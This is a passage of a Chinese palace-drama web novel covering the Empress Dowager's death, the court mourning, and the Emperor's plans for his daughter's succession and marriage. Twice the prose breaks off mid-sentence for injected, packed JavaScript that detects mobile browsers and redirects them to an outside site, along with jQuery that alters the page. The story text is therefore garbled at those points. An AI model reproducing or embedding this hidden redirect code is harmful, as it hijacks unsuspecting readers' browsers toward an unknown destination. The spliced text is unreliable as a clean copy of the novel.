“再者。”礼王妃搡了一把郑嬷嬷，再度用力扯住太后的衣襟，“太后娘娘，您真是好算计啊。建元五年，你赔上了景宜的性命，让我的孩子们没了父亲。此后五年间你什么都没干，等到自己快死了，才怂恿我这对蠢笨儿女犯下大罪，这是什么意思。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14845149|159193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你是太后，是皇帝的母亲，孝道二字便是天然的护身符，景宜凄惨万分地死了，你却只是在金碧辉煌的华阳宫里幽居了五年。即使是这点代价，你也不想再付第二次，直到自己马上要断气，才敢借机行事。” 郑嬷嬷脚腕扭伤，一时间爬不起来，只能眼睁睁看着太后被紧紧攥着领口。 窒息疼痛还是其次，太后怒极，张口哇的一声，呕出一口血来。 血沫溅在礼王妃衣襟上，有点恶心。 礼王妃却并不在意，反而更加逼近：“你死的轻巧，代价要我的孩子来付！” “父母爱子，为之计深远。你倒是好，一死了之，遗祸难消。”礼王妃恨声说道，“你诱骗煜儿和云华，说什么你死了圣上容不下他们，说什么皇帝死了太后出言立储便是正统，当年你也是拿这一套来哄骗景宜的，仗着天子之母的身份，妄图左右立储，结果就是害死了你儿子，又要害你孙子孙女。” 她忽然诡异地笑起来：“你以为我不知道么，你痛恨文庄皇后，所以迁怒文庄皇后抚养长大的圣上——可我看文庄皇后打压你，不许你亲自养育长子，不许你接手景氏治家的权力，是很明智的。你教出景宜这个不自量力的蠢货，误了我半生，又要弄乱朝纲，胡乱左右立储——文庄皇后在天有灵，怎么没降下天雷将你劈做齑粉！” 她本来纤细柔弱，但恨怒难消之下，竟然不知怎么爆发出极大的力量，握住太后领口，猛地向床柱间撞去。 “够了。” 景昭终于开口。 历朝历代所推崇的，无非忠孝二字。太后固然可恶，但如果放任礼王妃公然殴击太后，未免太过难看。 皇太女玉口既启，原本木雕泥塑的宫人们立刻一拥而上，拦阻住情绪激动的礼王妃。 郑嬷嬷不要命地扑上去护住太后，却被几名宫人按住。 皇帝抬起眼来，不轻不重地瞟了一眼，梁观己立刻不知道从哪个角落里冒出来：“请圣上、殿下移驾。” 又过去对礼王妃说：“王妃，您请到偏殿洗把脸，醒醒神吧，等您做好了决定，奴婢为您通传。” 大悲大怒之后情绪散去，礼王妃愣愣跌坐于地。 景昭跟随在皇帝身后，踏出乌烟瘴气的寝殿。 殿外的雨渐渐小了，细密雨声敲打在檐角廊前，飞溅起一串串水花，在夜色里映着灯火，很是好看。 宫人们撑起两把伞，正欲举到皇帝与太女头顶。景昭头也不回，向后伸出手，宫人立刻知机地奉上一把撑开的大伞。 她举起伞，举到皇帝头顶。 几点细雨打在伞的边缘，又沿着伞骨淌下来，皇帝微微侧首，瞥见滴落的雨水离景昭衣摆只有寸余，隔着袖子握住景昭手臂，将她往身边拉了拉。 父女二人离得很近，静静走着。 即将走出宫院时，身后的寝殿内忽然变得极为喧嚣。下一刻哭声乍起，如同平地惊雷。 梁观己急奔出来，冲进雨里，满脸不知是雨是泪，干嚎一声：“太后殿下薨逝——” “太后殿下薨逝——” “太后殿下薨逝——” 宫人们扬声呼喊，声浪一浪接着一浪传向远方。 哭声连绵不绝，渐渐四散开来，向着整座皇宫蔓延而去。 8. 第八章 深夜里宫城丧钟敲响七七四十九声，惊醒了整座京城。 上至王公贵胄，下至平民百姓，过年的喜气一扫而光。 天亮时分，宫中传出旨意：太后薨逝，皇帝罢朝，王公贵胄携家眷入宫哭临三日。 京城周围的寺庙、道观按照旧例，勤勤恳恳为太后鸣钟一万声。在悠长的钟声里，朝臣宗亲双眼通红，顶着寒风携带家眷入宫哭临。 奉华殿外的广场上，灵棚四处透风，信郡王妃紧了紧身上披着的白麻衣，冻得瑟瑟发抖，还要勉力支撑。 不远处传来动静，内命妇纷纷抬眼，只见外命妇的队列中，康侯太夫人摇摇欲坠，被宫人半扶半抬地弄走了。 信郡王妃一时间十分羡慕，她向来锦衣玉食，从没吃过这样的苦头，只跪了一晌就觉得双手双腿麻木难支，很想和康侯太夫人一样晕过去。 无奈信郡王妃身体太好，虽在寒风中抖若筛糠，神志却十分清醒。想要装晕，又担忧被识破问罪。 身旁的安郡王妃低声安慰她：“再忍忍，咱们运气够好了，要是去年冬天太后重病的时候没熬过去……” 信郡王妃忍不住打了个寒噤。 寒冬腊月，大雪纷飞的时候入宫哭临，那是真的会跪死人的。 奉华殿旁的暖阁里，穆嫔问完康侯太夫人的情况，缓步出门，她身边的宫女也发出了同样的感慨。 “幸好已经开春了，没那么难熬，换成去年十二月那么冷，不知多少命妇要跪出事来。” 穆嫔瞟了她一眼，道：“不可能。” 宫女一愣，一时间分不清穆嫔是说去年十二月不至于跪出事，还是说太后不会死在去年十二月。她偷偷观察穆嫔的神情，见穆嫔没有继续说下去的意思，不敢大着胆子追问，只好讪讪住口。 穆嫔向暖阁外走去，随口吩咐：“上下都仔细点。” 与此同时，她冷冷想着：太后如果死在去年十二月，与文宣皇后的忌日就太相近了。 幼需避长，卑需让尊，儿媳无论如何不能压过婆母。那么从此之后，文宣皇后的祭祀规格必须低于太后。 太后行事人嫌鬼厌，穆嫔只被她磋磨月余，已经忍无可忍。皇帝乃至皇太女，绝不会心无芥蒂。而皇帝对早逝爱妻的思念天下皆知，岂会令文宣皇后的祭祀规格为太后让路？ 就算太后真的死在十二月，她的死讯也要拖过新年才能通传天下。 想到这里，穆嫔收回思绪，往正殿方向一瞥。 正殿用于停灵，是太后梓宫所在，按照齐朝旧例，太后的嫡亲儿孙不与寻常宗室朝臣同列，而应守在梓宫旁寸步不离。 这无疑是件好事，因为这意味着不用在广场上的灵棚中瑟瑟发抖，可以理直气壮地待在温暖的正殿中。同时也意味着殿内与殿外的人隔绝开来，大部分人根本不会知道正殿内哭临的人根本不在。 足音快速靠近，穆嫔回过神，只见太女身边的承侍女官快步而来，简单一礼：“穆嫔娘娘，殿下有口谕，天寒，外面的命妇可以松散松散，不必过苛，您看着安排——只是不能失了体统。” 这就好办了。 穆嫔眉头一松，连忙命宫人出去传话，请年迈、体弱、有疾的命妇到暖阁中诊脉，其余命妇亦可分批更衣——只是不能一次去的多了，且要及时回来，否则算是怠慢太后丧仪，大不敬。 有资格入宫哭临的命妇，大多养尊处优，早已捱不住了，闻讯一阵惊喜，连忙先叩谢圣上恩典与太女慈悲，又谢过穆嫔娘娘。 命妇们先自觉地推了几名辈分家世最高的老夫人去歇息，安郡王妃身体不好，犹豫着起了身，又将机会让给了更年迈的一位国公太夫人。 信郡王妃低声恼道：“你倒是好心，当心受寒之后旧病犯了。” 安郡王妃连忙摆手：“不会的，惠儿孝顺，满京城给我淘换老参，去年还走了小柳大人的路子，从南边弄来一幅好药，那药当真有效，早就不犯病了。” 见信郡王妃还要数落她，安郡王妃连忙转移话题：“哎，你看那是谁？” 不远处的外命妇队列旁，跪着个十分显眼的人。 那是个男子，俊眉修目，面容温文，不大看得出年纪，单看五官说是三十多岁也可以，眼角却已经有了明显的细纹。看他跪的位置，地位绝对很高，但偏偏处在外命妇队列旁，又不是朝官装束。 信郡王妃悄悄瞟了一眼：“你不识得？你刚才还说小柳大人——这是小柳大人的父亲，柳令君的夫婿，宫内宫外称一声梁郎君。” 安郡王妃怔住：“啊？柳令君的夫婿，竟要在命妇行列里吗？” 信郡王妃也愣了：“啊？他没有官职，只有诰命，不在这里在哪里，柳令君身居宰辅，她的夫婿该有位居外命妇之首的尊荣。” 令君，齐朝时是对尚书令的尊称。 大楚建立后，皇帝废除三省，将皇城中的尚书台改名文华阁，当做丞相办公的处所，所以令君又变作了对丞相的尊称。 文华阁中如今共有五名丞相，柳希声排行第二。 当年皇帝于江南收拢流民起兵，柳希声变卖家业来投，是开国功臣之一，又在建元元年皇帝册立太女时大力支持，甚至将年幼的女儿都送进了东宫作伴读。 柳希声抛家舍业支持皇帝，从不惜身，也因此获得了丰厚回报。建元元年，大封功臣，柳希声就任礼部尚书；建元五年，首辅告老，皇帝提拔柳希声入文华阁，一跃成为次辅。她的夫婿受封一品诰命，女儿名列东宫十八学士的文臣之首，去年刚被太女放出京就任一县长官，眼见风光无限前途无量。 即使是朝中最迂腐的守旧派，都不得不尊称柳希声一句令君。 安郡王妃看得有些出神，艳羡道：“了不得，我的惠儿若有小柳大人一半的才干，我就是死了也心甘——梁郎君命好。” 身旁忽然传来一声极低的讽笑：“真是不成体统。” 信郡王妃皱眉抬头，只见出声讽刺的那位夫人跪的极为端正，白麻衣披得一丝不苟，一双浓眉耷拉着，满脸规行矩步的严苛。 信郡王妃看见这张脸，先倒了三分胃口。 这是怡侯夫人，京中无人不知她的大名。这位夫人年过五十，齐朝熙庆年间就是有名的规矩方正，据说从小熟读《女则》《闺训》，一举一动无一不以前朝贤妇为目标，不妒不忌贤良淑德，恪守礼节近乎死板。 说实在话，规矩是死的，人是活的。当年京中许多贵妇人暗地里嘲笑怡侯夫人，但在外面却又交口称赞——守规矩，学妇德，这是古代贤妇的标杆，班大家都恪守的规矩，怎么可能是错的呢？ 直到大楚立国，太女册立。 皇帝于建元元年册立太女，建元二年选‘十八学士’进东宫，紧接着抽空下了道旨意，禁绝一切《女则》《女训》之类的闲书——这些书不禁绝，难道要等着朝臣拿这些劳什子来压皇太女低头吗？ 怡侯夫人声名赫赫德行昭彰，所依仗的不过是她自幼苦学的妇德规矩。而今旨意一下，她立刻从女子标杆跌落，虽不至于风评反转，但她过去一言一行皆受称颂的日子再也不见了。 信郡王妃被那声冷笑弄得心气不顺，但她知道轻重，在太后丧仪上起冲突，往大处说算是大不敬，满门都要遭罪。 于是她冷哼一声，别过头去，却听见怡侯夫人又小声说了句：“上不得台面。” 信郡王妃顿时大怒，心想我非揭了你的皮。 然而她没来得及发作，只听身后安郡王妃语调含怒，说道：“你再说一遍？” 怡侯夫人一愣，双目冷冷看过来，素来柔弱的安郡王妃却凛然不惧：“怡侯夫人，穆嫔娘娘是你能议论的？” 这句话声音不高，但周遭命妇都听见了，数道目光同时投来。 安郡王妃又道：“穆嫔娘娘好心，太女和圣上慈悲，允我们松快松快，你说这话是什么意思？是议 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14845150|159193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 论穆嫔娘娘，还是议论东宫？” 怡侯夫人的脸色几乎立刻涨红了。 周遭命妇眼见情况不好，生怕她们吵起来，届时命妇们都要跟着吃挂落，连忙低声劝着：“许是听错了。” “低声低声。” “哎，好了，都放松些，这是太后殿下的丧仪，有什么话也不能在这里说。” “就是就是。” 几名命妇插科打诨，都是熟人，连哄带安慰地将这一页掀了过去，只是话语间竟然还很偏向柔弱孤僻的安郡王妃，也幸好绝大多数命妇都在发出哭声，并没注意到这一处的短暂争端。 怡侯夫人察觉到自己被孤立了，浓眉压得更紧，脸色十分难看。 命妇们背转身，举起帕子装作嚎啕，背地里悄悄议论：“她那脾气……哼，不就是拿规矩压人的那一套吃不开了吗，心里含怨。” “谁爱听她板着脸教训人，怪不得她都贤惠到那个份上了，怡侯还是烦她。” “小声点，别被她听见了。” 背过身去，信郡王妃低声道：“你可当心点，真在丧仪上闹起来了，你也讨不了好。” 安郡王妃却道：“我问心无愧，圣上对我们惠儿有恩，我不能听着她诽谤圣上。” 安郡王府那些事，在京中不是秘密。安郡王宠爱侧妃乌氏，冷淡正妃。乌侧妃生有两子，气焰极盛，偏偏安郡王妃性格柔弱，膝下仅有一女，连府中管家大权都难以保全。 若是放在从前，安郡王的爵位定会传给乌氏所出长子，而郡王妃的女儿，最多只能捞到一幅嫁妆陪送出门。 偏偏建元元年太女册立后，皇帝下令修改礼制。其中爵位继承那一条，由嫡长子袭爵改为了由嫡长袭爵。即在嫡长子和嫡长女全都具备的情况下，挑选年纪更大的继承爵位；若仅有嫡长子或嫡长女，由嫡长袭爵。 情势瞬间逆转，安郡王妃所出嫡女景惠，成为了安郡王府的爵位继承人。即使乌侧妃的长子比景惠足足大上五岁，早有才德过人的名气，安郡王亦不能为他请封世子。 风水轮流转，如今府中立于不败之地的，成了郡王妃母女。只要确保景惠不犯大罪，平安活着，安郡王就不能越过嫡长女择选继承人。 安郡王妃母家并不显赫，但也有官职在身。郡王妃早把女儿送去外祖家游学，以防乌侧妃母子下手谋害。她们母女没什么大志向，却也不甘心拱手让出爵位，只想小心谨慎熬死安郡王，然后袭爵。 信郡王妃扯了她一把：“好了，她是个蠢货，你和她计较什么，要是闹起来，就算你不怕，影响惠儿怎么办？” 听了女儿的名字，安郡王妃总算忍了下去，不再多言。 又是一阵冷风吹来，昨夜夜雨连绵，寒气未褪，冷意钻心入骨。 信郡王妃裹紧白麻衣，举袖掩面嚎啕，同时借此挡住扑面如刀的冷风。 真冷啊！ 信郡王妃羡慕地想着，礼王妃和世子、郡主能够随圣驾一同在殿内哭临，实在是幸运。 . 礼王妃走出宫室的侧门，素衣单薄，在风中猎猎飞舞。 她的眼眶红肿如桃，面色苍白如纸。 侍从看得不忍，取来一件大氅，劝道：“王妃披上吧。” 礼王妃恍若未闻，向前游魂般地走去，走出两步，忽的掩面打了个喷嚏。 侍从连忙将大氅强行披在礼王妃身上。 一夜之间，礼王妃变得更加憔悴瘦削，厚重的大氅披在她身上，像包裹着一棵随时会折断的树苗，仿佛随时会将她压垮。 宫室内，景昭抬眸看去，一时间微感唏嘘：“半生谨慎经营，尽数毁于儿女。” 书案旁皇帝正提起朱笔批阅奏折，闻言漫不经心地应和一句：“所以绝不能放纵蠢货登上高位。” 景昭下意识想要点头。 下一刻，她忽然觉得有些不对，狐疑地看向皇帝。 “父皇？” 9. 第九章 景昭向着书案旁走去。 殿内分明没有燃香，但随着她一步步走近，有清淡的檀香气息袅袅升起，萦绕着她的鼻尖。 景昭来到书案旁，挽起衣袖开始替皇帝磨墨。 皇帝并不抬首，落笔如风。直到写完，才放下笔，平静问道：“你想说什么？” 景昭的问题在舌尖打了个转，突然有些不好意思说出口，于是道：“王文姬来这里，是想通了？” . 王文姬走出了宫院，向远处走去。 王文姬是礼王妃的名字。 很多年前，她嫁进江宁景氏的府邸中，被人称作二少夫人。后来老夫人过世，不久齐朝覆灭，长乐公主为慕容氏所掳，府中上下又自觉地改称她为夫人。 再往后大楚立国，皇帝封胞弟景宜为礼王，她水涨船高，被封为超品亲王妃，一步便踏到了极高的位置。 此后十年，夫婿与儿女耗竭了她的全部心力，消磨掉了她尽心竭力经营十七年的一切。 礼王妃这个称号，对王文姬来说，唯余噩梦。 她一步步走在冰冷的风里，两行清泪忽的从颊边滚落。 侍从侍奉她多年，见她流泪，心中很是难过：“王妃，您要是想，就再去见一眼两位小主子。您是有功的人，圣上不也卖了您面子吗？” 王文姬一寸一寸转过头，看着侍从乐观的脸。 侍从并没有资格随她入殿面圣，自然一切往好处想。也许再过几日，等太后丧仪过去，侍从就会知道她做出了怎样无情的决定。 “哪有什么面子？”她想说，“难道你以为圣上真的只有靠我密告才知道太后和那对孽子的谋划？” 但她没有说出口。 因为她忽然发不出声音了。 喉间仿佛堵着酸涩的硬块，卡的她鼻酸眼热，半句话也说不出来。 唯有泪水汨汨而下，转瞬间打湿了整张脸。 . 皇帝平淡道：“太后当年做的最正确的一件事，就是恳求文庄皇后聘王氏入门。可惜，她好不容易替景宜聘了个聪明人，又不肯听聪明人说话，以至明珠暗投。” 景昭侧首去瞟皇帝手边的奏折，打趣般笑了笑：“那贞皇帝做的最正确的事，是不是把母亲许给了父皇？” ——皇帝登基后，为齐朝末帝上谥号‘贞’。 末帝一生功德不显，却也没犯过极要命的大错，最后荆狄趁着百年难遇的天灾南下，如果将责任尽数归咎末帝，似乎也有些冤枉。更何况一死全节，天下人在经历过魏朝的横征暴敛、残暴好杀之后，对他的评价还算可以。 而且，他还是文宣皇后的父亲。 末帝太过平淡无奇，他是亡国之君，挑个好的谥号太过讽刺，坏的谥号又损伤文宣皇后脸面。礼部索性抛开末帝半生，只看他最后殉国，替他上谥贞字。 清白守节曰贞，忧国忘死曰贞。 皇帝抬起眼，文秀面容毫无表情，定定看了景昭片刻，忽而一笑。 他那一笑极为好看，少年时名动天下的风姿展露无疑，足以令任何人失神。但景昭身为他的女儿，无比熟悉皇帝的一举一动，立刻拔腿要逃。 已经晚了。 皇帝揪着景昭的后领，像揪住了幼虎的后颈，景昭逃脱不掉，只好若无其事地转过身来，假装什么都没发生过。 有时夜幕降临，景昭会突然想起母亲。想起她衣袖间盈满的馥郁甜香，以及落在景昭发顶的柔软温暖的手掌。 但除去每年冬日祭祀，其余时间，她不常在皇帝面前提起母亲。 因为她不想一遍一遍反复戳着他们父女二人流血的伤口，也因为皇帝已经喜怒无常了很多年。 好在这一次，皇帝给出的反应尚算平静。 他凝视着景昭隐带几分心虚的面容，意味不明地一哂，放开了景昭，示意她看向书案上摊开的奏折。 景昭一边整理被揪皱的后领，一边欠身低头。 奏折边缘残留着火漆痕迹，并不很厚，内容却很多，由蝇头小楷细密写就。 这是一封密折。 字迹十分熟悉，锋利峭拔力透纸背，景昭眼风扫过，就知道这份信来自北方边关。 她匆匆读完，终于展颜，波澜不惊的眼底显露出极为清晰的喜色。 “十年辛苦，毕其功于一役。”景昭欣喜望向皇帝，语气中雀跃难掩，“谈……谈国公竟能犁庭扫穴，将荆狄残部剿灭，荆狄王庭远遁不知下落，此后几十载，北境再无忧患！” 说到此处，她的语气仍然雀跃，眼底竟有泪光闪烁。 “十年。”皇帝轻轻地说，“十年。” 他站起身，向窗前走去。 宫人早已被遣了出去，偌大的殿宇中只有父女二人。 皇帝负手而行，他的神情依然平静宁和，仿佛再大的喜讯都不能使他动容分毫，唯有素白衣袖无风轻飘，与发间素银簪相互映衬，飘然不似尘世中人。 背后看去，这身衣裳通体素白，有些像孝衣。 这本来就是孝衣，却不是为太后所穿。 从很多年前，长乐公主过世的那个雪夜开始，除了朝会、年节、祭祀这样的大日子，皇帝一直穿着相同的白衣，穿了整整十年。 他背着双手，站在窗前，看着清暑殿外结冰的湖面。 顾名思义，清暑殿三面临水，齐朝时专用于帝王夏日消暑游幸。冬日里湖面结冰，水面风凉，并不宜居。 现在清暑殿是皇宫中的藏书阁，不知为什么，皇帝有时会移驾这里批阅奏折。一年四季随心而来，全不看天气是否寒冷。 “北边没有忧患了。”皇帝又轻轻地道，“北方十二州，朕花了十 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景昭觉得自己脾气不错，然而每年接了南方世家哭穷的奏折，东宫里的杯碟都要少上几个。 然而皇帝多年来以喜怒无常、阴晴不定著称，却从来没有因此动怒，仿佛十分相信的模样。 皇帝好像压根没听见景昭最后一句话，自顾自地道：“很快就有钱了。” 景昭：“嗯？” “他们保管了这么久，是时候加些利息还回来了。” 景昭好奇问道：“您准备怎么做？” 相处多年，景昭不敢说自己百分之百摸准了皇帝的脾气，但她敢说自己百分之百摸清了皇帝的脑子。 《商君书》说，利不百不变法，功不十不易器。而对于皇帝来说，绝大多数时候，他如果说自己要做一件事，那他必定已经做好了所有的准备。 皇帝转过身来。 他的眉梢微扬，开口时却说起了风马牛不相及的话题，意味深长地道：“那封密折是谈照微所写。” 谈照微，谈国公世子，穆嫔最不同意的正妃人选——当然她的意见并没有用。位列东宫伴读，是十八学士中武将居首的人物。 景昭唇角扬起，很是自得。 ——谈国公大胜，是谈国公的功绩，但他还是皇帝的臣子，因此也是皇帝的功绩。 与之相对，谈照微出身东宫伴读，那么谈照微的军功，同样也是东宫的光彩。 皇帝缓声道：“倘若你蠢……倘若你不是很聪明。” 景昭笑意一僵，几乎怀疑皇帝能窥见她的心声，从而一口道破自己不好意思说，从而没问出口的问题。 “倘若你不是很聪明，谈照微就是东宫最好的正妃人选。” 10. 第十章 景昭静静听着，神色未改。 换做寻常年轻人，忽然听到家中父祖提起自己的婚事，难免会露出些羞涩，即使是装也要装出几分，以便展示自己的矜持。 但景昭没有，因为她本就不是寻常的年轻人，更因为做储君乃至做皇帝，最不需要的就是矜持。 她只是认真听完，然后说道：“外戚。” 谈国公府名列勋贵之首，本身就是皇帝对他们忠心的一种肯定。这份忠心不需要质疑，但人是会变的，当皇太女能力不足以驾驭勋贵时，面对至高无上的权势诱惑，没有任何人能够保证谈国公府不会生出别的心思。 皇帝平静说道：“宗室。” 父女二人之间的了解简直到了登峰造极的地步，皇帝说出宗室二字时，景昭立刻明白了皇帝的打算。 她眉眼微动，终于露出震惊之色。 建元元年大楚立国，皇帝下令，江宁景氏近枝宗室尽数迁至京城。这一举动于情相合，却不够明智——宗室尽数迁至京城，必然会导致皇帝对南方的控制力度下降。 皇帝给出的理由非常冠冕堂皇——太后祖籍南方，不舍故乡亲人，近枝宗室迁来京城，可以陪伴太后，聊解太后思乡思亲之情。 正因如此，皇帝事母至孝的声名传颂天下，向来为世人称赞。事实上，太后后来行事癫狂，很难说不是因为她错误估计了自己在皇帝心中的分量。 唯有极少数聪明人，揣摩出了皇帝的深意，并对此心有灵犀地缄口不语。但直到今日，景昭才蓦然惊觉，原来皇帝层层深意之下，还藏着最深的一记后手。 他从建元元年开始，就做好了最坏的打算。 什么是最坏的打算？ 当然是他唯一的继承人，能力不足以坐稳江山。 “用宗室制衡外戚，是朕立国之初就准备的一步棋，类似的棋子还有很多，但如果你不聪明，你看得懂这一步就够了。强行将资质平庸的人拉上棋盘，是取死之道。” 窗外寒风吹动湖面上的薄冰，发出细微的裂响。 远处岸边，几丛花树的枝干上，悄无声息地冒出了青碧色嫩芽，柔嫩脆弱，却生机勃勃。 皇帝负手望向窗外，他的目光不知落在何处，语调轻柔婉转又坚冷如冰：“至于剩下的棋，朕自然会替你下完，你要做的只有一件事。” “什么？” “生孩子。”皇帝说，“朕亲自教养，你和正妃都不要插手。” 景昭一怔，旋即立刻明白过来：“立皇孙。” 如果储君不够聪明，又没有或者不满意其他的子嗣，该怎么办？ 过往史书已经给出了答案，与其强行让无能者窃据高位，不如直接选择一位足够优秀的皇孙。 这无疑是个好办法，景昭短暂愕然之后，点头认可皇帝的决定。 将欲取之，必先予之。这是景昭入朝后学到的第一个道理。 有得必有失，想要得到的越多，往往需要付出的代价就越大。如果要得到至高无上的权力，则要付出世人难以想象的代价。而皇帝只要求她生出皇孙，其余的事都为她安排妥当，这简直是前所未有的便宜事。 “隔代传位的话，新君的威严必须从一开始就树立起来。”景昭随口道，“那就只能杀，与其让父皇或者新君杀，不如以我的名义杀。” 皇帝却转过头：“谁说朕要隔代传位？” “我说过。”皇帝静声道，“不论你是男是女，是贤是愚，皇位一定会交到你手上。” 见景昭怔住，皇帝眉尖终于蹙起，用一种前所未有的、疑虑重重的神情注视着她，仿佛在认真评估景昭聪明与否。 景昭愕然半晌，惊声道：“这不好吧！” 她当然并不愚蠢，全然领会了皇帝的深意。但正是明白了皇帝的用意，才更觉心惊。 皇帝资质寻常，储君监国理政。这无疑是强行逼迫朝臣分头下注，硬生生将朝廷撕裂，最终甚至可能会形成党争。 “那就不是朕要考虑的问题了。”皇帝漫不经心道，“皇帝放手不理朝政，皇储代为监国，朕死前会留下相互制衡的后手，保守估计能维持五到十年。到那个时候，你再禅位做上皇，至于弥合朝臣、收拾首尾，自有新君烦忧，与你我何干？” 景昭唇角一颤，心想更糟了。 频繁更换皇帝，只会动摇天子权威。但是皇帝显然不在意这一点，对他而言，他死后哪管洪水滔天。 “当年我在南方募兵，景氏不肯冒险北伐，我索性放弃争取族中支持，亲自募集流民、拜访流民帅，分化整合乌合之众，将他们变成可用之兵，礼贤下士征辟谋臣，遇到的刺客数也数不清楚，最危险时细作的剑锋就架在颈间，一步步从乌梢渡打回京城。” “我同样不在意你之后的新君是男是女、是贤是愚，更不指望他建立功业更胜于我，但如果连这点小事都解决不了，将来坐不稳江山，落得一死死不足惜，只要他死在你的后面就够了。” “你不一样。”皇帝淡声说道，“我与你母亲只有你一个孩子，贤愚与否，我都认了。就算你当不得大任，也要在皇位上坐一坐——如果朕隔代传位，新君的法统就来自于朕；唯有你亲自将皇位传出去，新君的法统来源于你，否定他母亲的正统性就相当于否定他自己，撼动你的地位等同于撼动他的皇位，他才会不顾一切地拼命捍卫你，明白么？” 不知为什么，景昭的眼眶忽然有些酸胀。 她眨了眨眼，不自觉地捻着衣袖上淡金色的龙纹，指尖摩挲着金丝，小声说：“当然明白——父皇是不是忘了，儿臣好像不是真蠢。” 皇帝冷笑：“我看未必。” “说远了。”皇帝道，“你现在想让谈照微当正妃吗？虽然有些麻烦，不过麻烦的事很多，不差这一桩。” 景昭认真想了想，还是摇了摇头。 皇帝眸光轻转，神情有些欣慰，又有些怜惜，还带着些遗憾和叹惋。 他拂动衣袖时，袖间檀香浮动，清苦微涩，又似乎掺杂着寺庙道观中终年不散的香火气息。 “既然如此，等下半年出孝，你从南方世家挑一个。” 按理来说，太后是景昭的亲祖母，为祖母服丧，应当服斩衰三年。 然而规矩永远不是用来约束皇帝的，尽管皇帝对外宣称自己悲痛异常，不愿见人。但他为母亲服丧以日代月，且令东宫也这样做，朝野内外没有任何人对 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皇帝说：“当然。到那时，甚至不必你费心挑选，他们会尽可能收起私心，极力挑选最美貌温顺、最才华出众、门第也最尊贵的嫡出子弟送到你面前。因为东宫正妃的位置，会成为他们争相竞逐、竭力争取的最后一根救命稻草。他们需要正妃能够讨得你从指缝中漏下来的宠爱，正如他们需要朝廷施舍一点冷炙残羹作为救命的砝码。” 如果换个人来说这一席话，景昭一定认为这是那人发疯前的美妙臆想。 但这番话出自皇帝口中，于是景昭明白了皇帝的言下之意。 ——今年下半年，南方一定会大乱，乱到身份地位足以成为东宫正妃、极为尊贵的世家公子都会面临朝不保夕的生死绝境。 ——但明年上半年，一切纷乱都会平息。 “一年时间。”景昭的神情渐渐凝重起来，“您能别卖关子了吗？” 皇帝一扬手，袖中飞出一件淡金色的东西，劈头盖脸向着景昭飞来。 景昭下意识要躲，竭力忍住，抬手稳稳捞住那本飞来的淡金色密折，低头看了两眼，神情渐渐变得凝重，而后骇然，最后化作匪夷所思。 “能成功吗？” “想知道？”皇帝淡淡道，“你自己去看看，不就知道了？” 他转过身，无视了景昭愕然与欣喜交织的神情，只倦然道：“朕会发一道旨意，就说太后生前思乡，下半年江宁的昙陵修好，你护送太后梓宫回南边安葬。” “还有这等好事！” “你早些走。”皇帝说。 他忽然抬起手，凌空朝景昭一点：“走之前把你那些事理顺，有的人不必留了，当断则断。” 说到最后一句话时，皇帝语气转为严厉，教诲之意很是明显。 “儿臣知道。”景昭无辜地道，“但是儿臣还想再留两日，有的人本身虽然没用，但是留着他可能有一些意想不到的作用。” 比如还可以留着用来钓鱼，比如用来试探一些墙头草的忠心。 皇帝沉默片刻，幽幽地道：“小心点，钓上来的鱼太大，是会把船扯翻的。” 11.第十一章 春寒料峭，哭临的第三日，绝大部分苦苦坚持的命妇都松了口气。 不但命妇疲惫至极，就连养尊处优的百官宗亲都支撑不住。只想着快些熬过最后一日，不愿横生枝节。 正因如此，当皇帝降下旨意，言明太后生前思乡，遗愿葬回江宁，待九月昙陵落成，护送太后梓宫回江宁葬入昙陵时，几乎没有朝官反对。 昙陵实际上是对景氏皇族祖陵的扩建，大楚立国后，皇帝下旨命景氏皇族迁居京城，但祖坟总不能刨开带走。所以建元五年起，工部调集大量工匠前往江宁，将景氏祖坟改建成皇陵应有的规模仪制。 唯一令百官生出微词的是，皇帝在圣旨中指明，令皇太女与礼王世子护送太后梓宫南下安葬。 从建元元年开始，立储早已折磨得百官乃至宗亲身心俱疲。为此折进去三位丞相、九位公卿、两个世家，寻常官吏宗亲获罪身死者不计其数。 整整十年，即使最顽固的反对者，也不得不承认皇帝立女为储这件事早已经板上钉钉不容更易。哪怕还有人嘴上叫嚣着女子不堪为储，如果让他们再参与一场九死一生的立储风暴，他们恐怕立刻就要拔腿逃走。 千金之子坐不垂堂，既然皇太女地位不容更易，身为东宫储君，怎能轻易离开京城，只为冒险护送太后梓宫？ 有的话虽然不能付诸于口，但对于朝野上下都是事实——与储君安危相比，太后的死后哀荣简直不值一钱。 更遑论随行的还有礼王世子——皇帝唯有一女，倘若太女遇险，按照礼法亲疏，礼王世子便是最有资格继任东宫的人——二人一同离京，要是同时出了问题，朝廷必然迎来前所未有的动荡！ 但这也没办法，各位丞相硬着头皮想要求见皇帝，却被梁内官一句“圣上悲痛万分，无心见人”挡在了外面。 天威深重，各位丞相的怨气情不自禁落在了死人身上。 “那太女呢？” “云华郡主在殿内跪晕过去了，现在发着高热，太女殿下关怀妹妹，亲自过去探视。” “……” 众丞相面面相觑，只好纷纷互相宽慰：“离九月还早……”还有机会劝谏。 这是吹捧皇帝与太女的：“殿下诚孝，更难得能推己及人，家母年高体弱，太女殿下亲自请旨免了哭临。” 还有想得格外远的：“按理来说，若是……太女今岁就该选妃了。” 正当众丞相拧着眉头，一边烦恼一边深思，柳希声问：“梁令君，你这是？” 